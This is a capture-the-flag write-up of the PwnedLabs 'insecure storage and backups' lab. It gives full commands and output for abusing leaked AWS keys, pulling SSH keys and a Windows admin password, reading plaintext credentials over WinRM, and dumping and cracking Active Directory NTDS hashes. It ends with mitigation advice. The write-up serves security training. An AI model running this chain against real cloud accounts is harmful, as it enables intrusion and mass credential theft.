PwnedLabs - Leverage Insecure Storage and Backups for Profit

Summary

In this blog, we will take a look at the "Leverage insecure storage and backups for profit" lab, in which the attacker get hold of initial IAM user credentials to probe Huge Logistics' cloud infrastructure. From file extraction from AWS S3 Buckets then leading to gaining access to Windows endpoint on an Active Directory environment, where the attacker dumps NTDS file which has sensitive hashes.

Topic Covered

Here are the topics covered in this blog -

  • Lay of the attack chain.

  • Detailed explanation of the attack steps.

  • Possible defensive measure.

Attack Scenario

Official scenario description.

Your team stumbled upon AWS credentials on a compromised IT workstation. Your mission now is to use these credentials to probe Huge Logistics' cloud infrastructure. Dive in, seek out sensitive data, and identify accessible critical resources to determine the potential extent of exposure.

Exposed backups and images on file shares and buckets is common vector with both on-premise and cloud infrastructure. Backups often contain a wealth of sensitive data, including user credentials, databases, configuration files, and more. Gaining access to a backup can provide an attacker with the same level of data access as compromising the primary system. Once an attacker has credentials or other sensitive data from a backup, they can use this information to move laterally and vertically within a network or cloud environment.

Before we move further into exploitation, I would like to visualize the whole attack chain.

Attack Steps -

  1. Attacker gains keys for the authenticated IAM user.

  2. Checking attached user policies, then checking policy document.

  3. Checking S3 Bucket policy.

  4. Download sensitive connection keys from the S3 Bucket.

  5. Checking EC2 Instaces, discovered EC2 instance called "Backup".

  6. Nmap scan on the EC2 Backup Instance, discovered Port 5985.

  7. Get password data from the EC2 Backup Instance.

  8. Logging into Windows endpoint using Powershell remoting.

  9. Exfiltrating sensitive files from the Windows endpoint.

  10. Dumping hashes from the NTDS file.

  11. Cracking hashes using Hashcat.

Setup

Use the AWS keys provided for the initial user and authenticated it using AWS CLI.

root@kali ~/p/insecure-storage-backup# aws configure --profile initial-user
AWS Access Key ID [None]: AKIAWHEOTHRFRH64EQRI
AWS Secret Access Key [None]: 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 
Default region name [us-east-1]: us-east-1
Default output format [None]: 

After setting the gained keys with aws configure we can run aws sts get-caller-identity, which is effectively the cloud version of whoami.

root@kali ~/p/insecure-storage-backup# aws sts get-caller-identity --profile initial-user --region us-east-1
{
    "UserId": "AIDAWHEOTHRFTEMEHGPPY",
    "Account": "427648302155",
    "Arn": "arn:aws:iam::427648302155:user/contractor"
}

Attack Walkthrough

Checking the policies attached to the IAM user "Contractor".

root@kali ~/p/insecure-storage-backup# aws iam list-attached-user-policies --user-name contractor --profile initial-user --region us-east-1
{
    "AttachedPolicies": [
        {
            "PolicyName": "Policy",
            "PolicyArn": "arn:aws:iam::427648302155:policy/Policy"
        },
        {
            "PolicyName": "AWSCompromisedKeyQuarantineV2",
            "PolicyArn": "arn:aws:iam::aws:policy/AWSCompromisedKeyQuarantineV2"
        }
    ]
}

There is a policy attached called "Policy". Enumerating more about this policy.

root@kali ~/p/insecure-storage-backup# aws iam get-policy --policy-arn arn:aws:iam::427648302155:policy/Policy --profile initial-user --region us-east-1
{
    "Policy": {
        "PolicyName": "Policy",
        "PolicyId": "ANPAWHEOTHRFXRFIVBEXM",
        "Arn": "arn:aws:iam::427648302155:policy/Policy",
        "Path": "/",
        "DefaultVersionId": "v4",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2023-07-27T17:39:55+00:00",
        "UpdateDate": "2023-07-28T14:24:22+00:00",
        "Tags": []
    }
}

The policy version here is 4. Checking the policy documentation using the get-policy-version

root@kali ~/p/insecure-storage-backup# aws iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/Policy --version-id v4 --profile initial-user --region us-east-1
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "VisualEditor0",
                    "Effect": "Allow",
                    "Action": "ec2:DescribeInstances",
                    "Resource": "*"
                },
                {
                    "Sid": "VisualEditor1",
                    "Effect": "Allow",
                    "Action": "ec2:GetPasswordData",
                    "Resource": "arn:aws:ec2:us-east-1:427648302155:instance/i-04cc1c2c7ec1af1b5"
                },
                {
                    "Sid": "VisualEditor2",
                    "Effect": "Allow",
                    "Action": [
                        "iam:GetPolicyVersion",
                        "iam:GetPolicy",
                        "iam:GetUserPolicy",
                        "iam:ListAttachedUserPolicies",
                        "s3:GetBucketPolicy"
                    ],
                    "Resource": [
                        "arn:aws:iam::427648302155:user/contractor",
                        "arn:aws:iam::427648302155:policy/Policy",
                        "arn:aws:s3:::hl-it-admin"
                    ]
                }

Here is the summary of the policy from the above command -

  • Get password data from the EC2 instance i-04cc1c2c7ec1af1b5

  • List and get information about all EC2 instances in the account

  • Get information about the IAM policy attached to our current IAM user

  • Get the S3 bucket policy for hl-it-admin

Checking the S3 bucket hl-it-admin policy.

root@kali ~/p/insecure-storage-backup# aws s3api get-bucket-policy --bucket hl-it-admin --profile initial-user --region us-east-1
{
    "Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":{\"AWS\":\"arn:aws:iam::427648302155:user/contractor\"},\"Action\":\"s3:GetObject\",\"Resource\":\"arn:aws:s3:::hl-it-admin/ssh_keys/ssh_keys_backup.zip\"}]}"
}

This allows the contractor IAM user to download the file ssh_keys_backup.zip

Downloading the zip files from the S3 bucket.

root@kali ~/p/insecure-storage-backup# aws s3 cp s3://hl-it-admin/ssh_keys/ssh_keys_backup.zip . --profile initial-user --region us-east-1
download: s3://hl-it-admin/ssh_keys/ssh_keys_backup.zip to ./ssh_keys_backup.zip
root@kali ~/p/insecure-storage-backup# ls
ssh_keys_backup.zip

Then unzip it.

root@kali ~/p/insecure-storage-backup# unzip ssh_keys_backup.zip
Archive:  ssh_keys_backup.zip
  inflating: audit.pem               
  inflating: contractor.pem          
  inflating: contractor.ppk          
  inflating: iam-audit.pem           
  inflating: it-admin.pem            
  inflating: jenkins.pem             
  inflating: octopus-deploy.pem      
  inflating: sunita-adm.pem          
  inflating: viewer-dev.pem          
  inflating: viewer-dev.ppk

After that, we know that the user can interact with EC Instance i-04cc1c2c7ec1af1b5

root@kali ~/p/insecure-storage-backup# aws ec2 describe-instances --filters Name=instance-state-name,Values=running --query 'Reservations[].Instances[].[Tags[?Key==`Name`].Value | [0],InstanceId,Platform,State.Name,PrivateIpAddress,PublicIpAddress,InstanceType,PublicDnsName,KeyName]' --profile initial-user --region us-east-1
[
    [
        "Backup",
        "i-04cc1c2c7ec1af1b5",
        "windows",
        "running",
        "172.31.93.149",
        "44.204.191.38",
        "t2.micro",
        "ec2-44-204-191-38.compute-1.amazonaws.com",
        "it-admin"
    ],
    [
        "External",
        "i-04a13bebeb74c8ac9",
        null,
        "running",
        "172.31.84.235",
        "52.0.51.234",
        "t2.micro",
        "ec2-52-0-51-234.compute-1.amazonaws.com",
        "ian-content-static-5"
    ]
]

This reveals a Windows EC2 named Backup running on the IP 44.204.191.38 ,that was launched with the it-admin SSH key pair, and we might have this key!

Running a nmap scan on the ip

root@kali ~/p/insecure-storage-backup# nmap 44.204.191.38 -p445,3389,22,5985
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-31 03:25 EDT
Nmap scan report for ec2-44-204-191-38.compute-1.amazonaws.com (44.204.191.38)
Host is up (0.029s latency).

PORT     STATE    SERVICE
22/tcp   filtered ssh
445/tcp  filtered microsoft-ds
3389/tcp filtered ms-wbt-server
5985/tcp open     wsman

Nmap done: 1 IP address (1 host up) scanned in 1.48 seconds

The port 5985 which is WinRM port is opened.

Now from the policy documentation we know that the IAM user "Contractor" has Get Password data from the EC2 instance i-04cc1c2c7ec1af1b5.

root@kali ~/p/insecure-storage-backup# aws ec2 get-password-data --instance-id i-04cc1c2c7ec1af1b5 --priv-launch-key it-admin.pem --profile initial-user --region us-east-1
{
    "InstanceId": "i-04cc1c2c7ec1af1b5",
    "PasswordData": "UZ$abRnO!bPj@KQk%BSEaB*IO%reJIX!",
    "Timestamp": "2023-07-27T22:39:26+00:00"
}

As we can see the password for the Windows EC2 instance "Backup" is dumped. We can use PowerShell remoting to connect with the Windows endpoint. Firstly here are the commands to install PowerShell on Linux.

## Instructions for Ubuntu
# Update the list of packages
sudo apt-get update
# Install pre-requisite packages.
sudo apt-get install -y wget apt-transport-https software-properties-common
# Download the Microsoft repository GPG keys
wget -q "https://packages.microsoft.com/config/ubuntu/$(lsb_release -rs)/packages-microsoft-prod.deb"
# Register the Microsoft repository GPG keys
sudo dpkg -i packages-microsoft-prod.deb
# Delete the the Microsoft repository GPG keys file
rm packages-microsoft-prod.deb
# Update the list of packages after we added packages.microsoft.com
sudo apt-get update
# Install PowerShell
sudo apt-get install -y powershell
# Install PSWSMan module
pwsh -Command 'Install-WSMan'
# Install NTLMSSP authentication mechanism
apt install gss-ntlmssp

Using Pwsh to connect with the Windows endpoint.

root@kali ~/p/insecure-storage-backup# pwsh
PowerShell 7.2.6
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.


┌──(root㉿kali)-[/root/pwnedlabs/insecure-storage-backup]
└─PS> $password = convertto-securestring -AsPlainText -Force -String 'UZ$abRnO!bPj@KQk%BSEaB*IO%reJIX!'

┌──(root㉿kali)-[/root/pwnedlabs/insecure-storage-backup]
└─PS> $credential = new-object -typename System.Management.Automation.PSCredential -argumentlist "Administrator",$password

┌──(root㉿kali)-[/root/pwnedlabs/insecure-storage-backup]
└─PS> Enter-PSSession -ComputerName 44.204.191.38 -Credential $credential
[44.204.191.38]: PS>whoami
winrm virtual users\winrm va_76_veeamprox02_administrator
[44.204.191.38]: PS>

LS command is not allowed here so we’re using Get-Command cmdlet

[44.204.191.38]: PS>Get-Command

CommandType     Name                                               Version    Source                                 
-----------     ----                                               -------    ------                                 
Function        Clear-Host                                                                                           
Function        Exit-PSSession                                                                                       
Function        Get-Command                                                                                          
Function        Get-FormatData                                                                                       
Function        Get-Help                                                                                             
Function        Measure-Object                                                                                       
Function        Out-Default                                                                                          
Function        Select-Object                                                                                        
Cmdlet          Get-ChildItem                                      3.0.0.0    Microsoft.PowerShell.Management        
Cmdlet          Get-Content                                        3.0.0.0    Microsoft.PowerShell.Management        
Cmdlet          Get-Process                                        3.0.0.0    Microsoft.PowerShell.Management        
Cmdlet          Get-Service                                        3.0.0.0    Microsoft.PowerShell.Management        

[44.204.191.38]: PS>Get-ChildItem C:\Users\

    Directory: C:\Users

Mode                LastWriteTime         Length Name                                                                
----                -------------         ------ ----                                                                
d-----        7/28/2023  11:38 AM                admin                                                               
d-----        7/27/2023   9:06 PM                Administrator                                                       
d-r---       12/12/2018   7:44 AM                Public                                                              

[44.204.191.38]: PS>

We also see the non-default Windows user admin.

[44.204.191.38]: PS>Get-ChildItem C:\Users\Admin


    Directory: C:\Users\Admin


Mode                LastWriteTime         Length Name                                                                
----                -------------         ------ ----                                                                
d-----        7/28/2023  11:38 AM                .aws                                                                
d-r---        7/28/2023  11:35 AM                3D Objects                                                          
d-r---        7/28/2023  11:35 AM                Contacts                                                            
d-r---        7/28/2023  11:35 AM                Desktop                                                             
d-r---        7/28/2023  11:35 AM                Documents                                                           
d-r---        7/28/2023  11:35 AM                Downloads                                                           
d-r---        7/28/2023  11:35 AM                Favorites                                                           
d-r---        7/28/2023  11:35 AM                Links                                                               
d-r---        7/28/2023  11:35 AM                Music                                                               
d-r---        7/28/2023  11:35 AM                Pictures                                                            
d-r---        7/28/2023  11:35 AM                Saved Games                                                         
d-r---        7/28/2023  11:35 AM                Searches                                                            
d-r---        7/28/2023  11:35 AM                Videos

Inside the Admin user directory. There is an .aws directory.

[44.204.191.38]: PS>Get-ChildItem C:\Users\Admin\.aws


    Directory: C:\Users\Admin\.aws


Mode                LastWriteTime         Length Name                                                                
----                -------------         ------ ----                                                                
-a----        7/28/2023  11:38 AM             31 config                                                              
-a----        7/28/2023  11:38 AM            119 credentials

[44.204.191.38]: PS>Get-Content C:\Users\Admin\.aws\credentials
[default]
aws_access_key_id = AKIAWHEOTHRFT5Q4524N
aws_secret_access_key = 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

We got the aws keys for the admin users. Configure this user using AWS-CLI.

After configuration is completed, we attempt to list the bucket we identified earlier.

root@kali ~/p/insecure-storage-backup# aws s3 ls hl-it-admin --recursive --profile administrator --region us-east-1
2023-07-28 08:35:38          0 backup-2807/
2023-07-28 11:52:58   33554432 backup-2807/ad_backup/Active Directory/ntds.dit
2023-07-28 11:53:07      16384 backup-2807/ad_backup/Active Directory/ntds.jfm
2023-07-28 11:53:06      65536 backup-2807/ad_backup/registry/SECURITY
2023-07-28 11:52:58   17825792 backup-2807/ad_backup/registry/SYSTEM
2023-07-27 11:51:45         99 contractor_accessKeys.csv
2023-07-28 07:50:49          0 docs/
2023-07-28 07:51:07   10591957 docs/veeam_backup_12_agent_management_guide.pdf
2023-07-28 07:51:09    9408343 docs/veeam_backup_12_cloud_administrator_guide.pdf
2023-07-28 07:47:07         32 flag.txt
2023-07-27 11:53:06          0 installer/
2023-07-27 17:02:47 1579290624 installer/Veeam.iso
2023-07-27 13:34:24          0 ssh_keys/
2023-07-28 09:48:18      17483 ssh_keys/ssh_keys_backup.zip

As we can see it lists all the sensitive files including the flag.txt, download the Active Directory database ntds.dit as well as the registry hives.

root@kali ~/p/insecure-storage-backup# aws s3 cp s3://hl-it-admin/backup-2807/ . --recursive --profile administrator --region us-east-1
download: s3://hl-it-admin/backup-2807/ad_backup/Active Directory/ntds.jfm to ad_backup/Active Directory/ntds.jfm
download: s3://hl-it-admin/backup-2807/ad_backup/registry/SECURITY to ad_backup/registry/SECURITY
download: s3://hl-it-admin/backup-2807/ad_backup/Active Directory/ntds.dit to ad_backup/Active Directory/ntds.dit
download: s3://hl-it-admin/backup-2807/ad_backup/registry/SYSTEM to ad_backup/registry/SYSTEM

After downloading the files, using impacket-secretdump to dump all the hashes in the huge-logistics.local domain.

root@kali ~/p/insecure-storage-backup# impacket-secretsdump -ntds "ad_backup/Active Directory/ntds.dit" -system "ad_backup/registry/SYSTEM" LOCAL
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Target system bootKey: 0x8e47e7e457e33035cfabaea711975407
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 6df8fdd3a446ef9ed1a64c6a03a28ce2
[*] Reading and decrypting hashes from ad_backup/Active Directory/ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC04$:1003:aad3b435b51404eeaad3b435b51404ee:fc15058af730b1de899a7aa6759e894c:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fb22f21bc86dfe7b0073d9f9f722ae0e:::
...
...

From all the hashes dumped for various users, we will crack the NTLM hash of the Administrator users.

hashcat -a0 -m 1000 "58a478135a93ac3bf058a5ea0e8fdb71" /usr/share/wordlists/rockyou.txt

58a478135a93ac3bf058a5ea0e8fdb71:Password123

We can also crack the hashes of the other users as well.

impacket-secretsdump -ntds "ad_backup/Active Directory/ntds.dit" -system "ad_backup/registry/SYSTEM" LOCAL | awk -F":" '{ print $4 }' > hashes
hashcat -a0 -m 1000 hashes /usr/share/wordlists/rockyou.txt
c52abb1e14677d7ea228fcc1171ed7b7:daniel                   
89c99393bfe3c0a95deba6dcb0b12b43:123abc                   
a4a02c448197f67cd9e982a5e5d0acc3:rabbit                   
1674049edd3d39cead200b0fee90982a:knight                   
89492d216d0a212f8ed54fc5ac9d340b:qazwsxedc                
4d4df769e6b9b338fabda5846cf85792:fucking

We've dumped and cracked all the sensitive hashes. To complete this challenge, get the flag.txt

root@kali ~/p/insecure-storage-backup# aws s3 cp s3://hl-it-admin/flag.txt flag.txt --profile administrator --region us-east-1
download: s3://hl-it-admin/flag.txt to ./flag.txt               
root@kali ~/p/insecure-storage-backup# cat flag.txt 
3129d2c7091707c1698908e2ad9fc439

Mitigation

  • Administrators often make multiple types of backups of critical resources. In the case of a domain controller installed on-prem or in the cloud this could be snapshots, full system images, incremental backups, system state backups and copy backups of important files such as the NTDS.dit and registry hives.

  • In this scenario, the contractor credentials were used to identity and download a backup of multiple SSH keys for multiple privileged systems. With these keys we were able to gain access to an administrator account on a Windows EC2 instance and access AWS stored unencrypted in the credentials file. This allowed file access to the S3 bucket that also contained the Active Directory backup. With many organizations adopting a hybrid multi-cloud architecture, it's compromise of the cloud can often lead to compromising the on-premise infrastructure - and vice versa.

  • Instead of storing the SSH private keys on an S3 bucket, they could have been securely stored in AWS Secrets Manager. From there, only the key that the contractor requires for the work could be shared. The IAM credentials in the EC2 instance were also in cleartext. Instead, we could use a tool such as aws-vault to store IAM credentials in the operating system's secure keystore. It can then generate temporary credentials from this to expose to your shell and applications. AWS Vault is designed to be complementary to the AWS CLI tools, and is aware of your AWS profiles and configuration.

Thank you for reading!!

Last updated